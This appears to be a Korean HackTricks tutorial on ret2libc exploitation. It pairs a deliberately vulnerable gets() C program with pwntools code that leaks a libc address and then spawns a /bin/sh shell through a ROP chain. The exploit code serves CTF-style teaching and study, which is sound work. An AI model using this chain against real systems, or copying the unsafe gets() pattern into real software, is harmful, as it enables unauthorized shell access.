.. | ||
README.md | ||
rop-leaking-libc-template.md |
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- Hacking 트릭을 공유하려면 HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하세요.
빠른 요약
- 오버플로우 오프셋 찾기
POP_RDI
,PUTS_PLT
,MAIN_PLT
가젯 찾기- 이전 가젯을 사용하여 puts 또는 다른 libc 함수의 메모리 주소를 유출하고 libc 버전을 찾기 (다운로드)
- 라이브러리를 사용하여 ROP를 계산하고 이를 이용하여 취약점을 이용하기
다른 튜토리얼 및 연습용 이진 파일
이 튜토리얼은 다음 튜토리얼에서 제안된 코드/바이너리를 이용합니다: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
다른 유용한 튜토리얼: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
코드
파일명: vuln.c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie
ROP - LIBC 주소 노출 템플릿
이 코드를 사용하여 exploit을 만들 것입니다.
exploit을 다운로드하고 취약한 이진 파일과 동일한 디렉토리에 넣고 스크립트에 필요한 데이터를 제공하세요:
{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}
1- 오프셋 찾기
템플릿은 exploit을 계속하기 전에 오프셋이 필요합니다. 제공된 오프셋이 없으면 필요한 코드를 실행하여 찾을 것입니다 (기본값은 OFFSET = ""
입니다).
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
실행 python template.py
를 입력하면 프로그램이 충돌한 상태로 GDB 콘솔이 열립니다. 그 GDB 콘솔에서 x/wx $rsp
를 실행하여 RIP를 덮어쓸 바이트를 얻습니다. 마지막으로 파이썬 콘솔을 사용하여 오프셋을 얻습니다:
from pwn import *
cyclic_find(0x6161616b)
오프셋을 찾은 후 (이 경우에는 40) 해당 값을 사용하여 템플릿 내의 OFFSET 변수를 변경합니다.
OFFSET = "A" * 40
다른 방법은 pattern create 1000
-- execute until ret -- pattern seach $rsp
를 사용하는 것입니다.
2- 가젯 찾기
이제 이진 파일 내에서 ROP 가젯을 찾아야 합니다. 이 ROP 가젯은 libc를 찾기 위해 puts
를 호출하는 데 유용하며, 나중에 최종 공격을 실행하는 데 사용될 것입니다.
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
PUTS_PLT
는 함수 puts를 호출하기 위해 필요합니다.
MAIN_PLT
는 메인 함수를 호출하기 위해 필요합니다. 하나의 상호작용 후에 다시 오버플로우를 이용하여 exploit을 수행하기 위해 사용됩니다 (무한한 exploit 라운드). 각 ROP의 끝에서 프로그램을 다시 호출하기 위해 사용됩니다.
POP_RDI는 호출된 함수에 매개변수를 전달하기 위해 필요합니다.
이 단계에서는 실행 중에 pwntools가 모든 것을 찾기 때문에 아무것도 실행할 필요가 없습니다.
3- LIBC 라이브러리 찾기
이제 사용 중인 libc 라이브러리의 버전을 찾을 시간입니다. 이를 위해 우리는 메모리의 함수 puts
의 주소를 leak한 다음 해당 주소에 있는 puts 버전이 있는 라이브러리 버전을 검색할 것입니다.
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
이를 위해 실행된 코드에서 가장 중요한 줄은 다음과 같습니다:
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
이렇게 하면 RIP를 덮어쓰기 가능한 바이트를 보낼 수 있습니다: OFFSET
.
그런 다음, 가젯 POP_RDI
의 주소를 설정하여 다음 주소(FUNC_GOT
)가 RDI 레지스트리에 저장됩니다. 이는 PUTS_GOT
의 주소를 메모리의 puts 함수 주소가 가리키는 주소에 저장하기 위함입니다.
그 후에는 PUTS_PLT
가 호출됩니다(RDI
내부에 PUTS_GOT
이 있음). 따라서 puts는 PUTS_GOT
내부의 내용(메모리의 puts 함수 주소)을 읽고 출력합니다.
마지막으로, main 함수가 다시 호출되므로 우리는 오버플로우를 다시 이용할 수 있습니다.
이렇게 하면 puts 함수를 속여서 메모리에 있는 puts 함수의 주소를 출력하게 만들었습니다(이는 libc 라이브러리 내에 있습니다). 이제 해당 주소를 사용하여 어떤 libc 버전을 사용하는지 검색할 수 있습니다.
로컬 바이너리를 exploit하는 경우 libc 버전을 찾을 필요가 없습니다(/lib/x86_64-linux-gnu/libc.so.6
에서 라이브러리를 찾기만 하면 됩니다).
하지만 원격 exploit의 경우 여기서 어떻게 찾을 수 있는지 설명하겠습니다:
3.1- libc 버전 검색 (1)
웹 페이지 https://libc.blukat.me/에서 사용 중인 라이브러리를 검색할 수 있습니다.
또한 검색된 libc 버전을 다운로드할 수 있습니다.
3.2- libc 버전 검색 (2)
다음을 수행할 수도 있습니다:
$ git clone https://github.com/niklasb/libc-database.git
$ cd libc-database
$ ./get
이 작업은 시간이 걸릴 수 있으니 기다려주십시오.
이 작업을 수행하기 위해 필요한 것은:
- Libc 심볼 이름:
puts
- 누출된 libc 주소:
0x7ff629878690
가능성이 가장 높은 libc를 알아낼 수 있습니다.
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
우리는 2개의 일치 항목을 얻습니다 (첫 번째 항목이 작동하지 않으면 두 번째 항목을 시도해 보세요). 첫 번째 항목을 다운로드하세요:
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so
파일을 작업 디렉토리로 복사합니다.
3.3- 라이브러리 주소 노출을 위한 다른 함수들
puts
printf
__libc_start_main
read
gets
4- 기반 libc 주소 찾기 및 이용하기
이 시점에서 우리는 사용되는 libc 라이브러리를 알아야 합니다. 로컬 바이너리를 공격하고 있으므로, 단순히 /lib/x86_64-linux-gnu/libc.so.6
를 사용하겠습니다.
그래서, template.py
의 시작 부분에서 libc 변수를 다음과 같이 변경하십시오: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
libc 라이브러리의 경로를 제공하면, 나머지 공격은 자동으로 계산됩니다.
get_addr
함수 내에서 libc의 기반 주소가 계산됩니다:
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
{% hint style="info" %} 주의: 최종 libc 기본 주소는 00으로 끝나야 합니다. 그렇지 않은 경우 잘못된 라이브러리가 유출될 수 있습니다. {% endhint %}
그런 다음, system
함수의 주소와 문자열 "/bin/sh" 의 주소는 libc의 기본 주소와 libc 라이브러리에서 계산됩니다.
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
마침내, /bin/sh 실행 exploit이 준비되어 전송될 것입니다:
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
이 마지막 ROP를 설명해보겠습니다.
마지막 ROP(rop1)은 다시 main 함수를 호출하고, 그래서 우리는 오버플로우를 다시 이용할 수 있습니다(그래서 OFFSET
이 다시 나타납니다). 그런 다음, POP_RDI
를 호출하여 _"/bin/sh"의 주소(BINSH)를 가리키고, _"/bin/sh"의 주소가 매개변수로 전달되기 때문에 system 함수(SYSTEM)를 호출하려고 합니다.
마지막으로, exit 함수의 주소를 호출하여 프로세스가 정상적으로 종료되고 어떤 경고도 발생하지 않도록 합니다.
이렇게 하면 exploit이 _/bin/sh 쉘을 실행할 것입니다.
4(2)- ONE_GADGET 사용하기
system과 "/bin/sh" 대신에 ONE_GADGET을 사용하여 쉘을 얻을 수도 있습니다. ONE_GADGET은 libc 라이브러리 내에서 하나의 ROP 주소만 사용하여 쉘을 얻는 방법을 찾아줍니다.
하지만, 일반적으로 몇 가지 제약 조건이 있습니다. 가장 일반적이고 피할 수 있는 제약 조건은 [rsp+0x30] == NULL
과 같은 것입니다. RSP 내부의 값을 제어할 수 있으므로, 추가적인 NULL 값을 보내서 제약 조건을 피할 수 있습니다.
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
EXPLOIT 파일
이 취약점을 악용하기 위한 템플릿을 다음에서 찾을 수 있습니다:
{% content-ref url="rop-leaking-libc-template.md" %} rop-leaking-libc-template.md {% endcontent-ref %}
일반적인 문제
MAIN_PLT = elf.symbols['main']을 찾을 수 없음
"main" 심볼이 존재하지 않는 경우, main 코드가 있는 곳을 찾을 수 있습니다:
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
그리고 주소를 수동으로 설정하세요:
MAIN_PLT = 0x401080
Puts를 찾을 수 없음
바이너리가 Puts를 사용하지 않는 경우 다음을 확인해야합니다.
sh: 1: %s%s%s%s%s%s%s%s: not found
모든 exploit을 생성한 후에 이 오류를 발견하면 sh: 1: %s%s%s%s%s%s%s%s: not found
다음을 시도하십시오.
"/bin/sh"의 주소에서 64바이트를 빼보세요.
BINSH = next(libc.search("/bin/sh")) - 64
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!
HackTricks를 지원하는 다른 방법:
- 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
- 공식 PEASS & HackTricks 스웨그를 얻으세요.
- The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
- 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- Hacking 트릭을 공유하려면 HackTricks 및 HackTricks Cloud github 저장소에 PR을 제출하세요.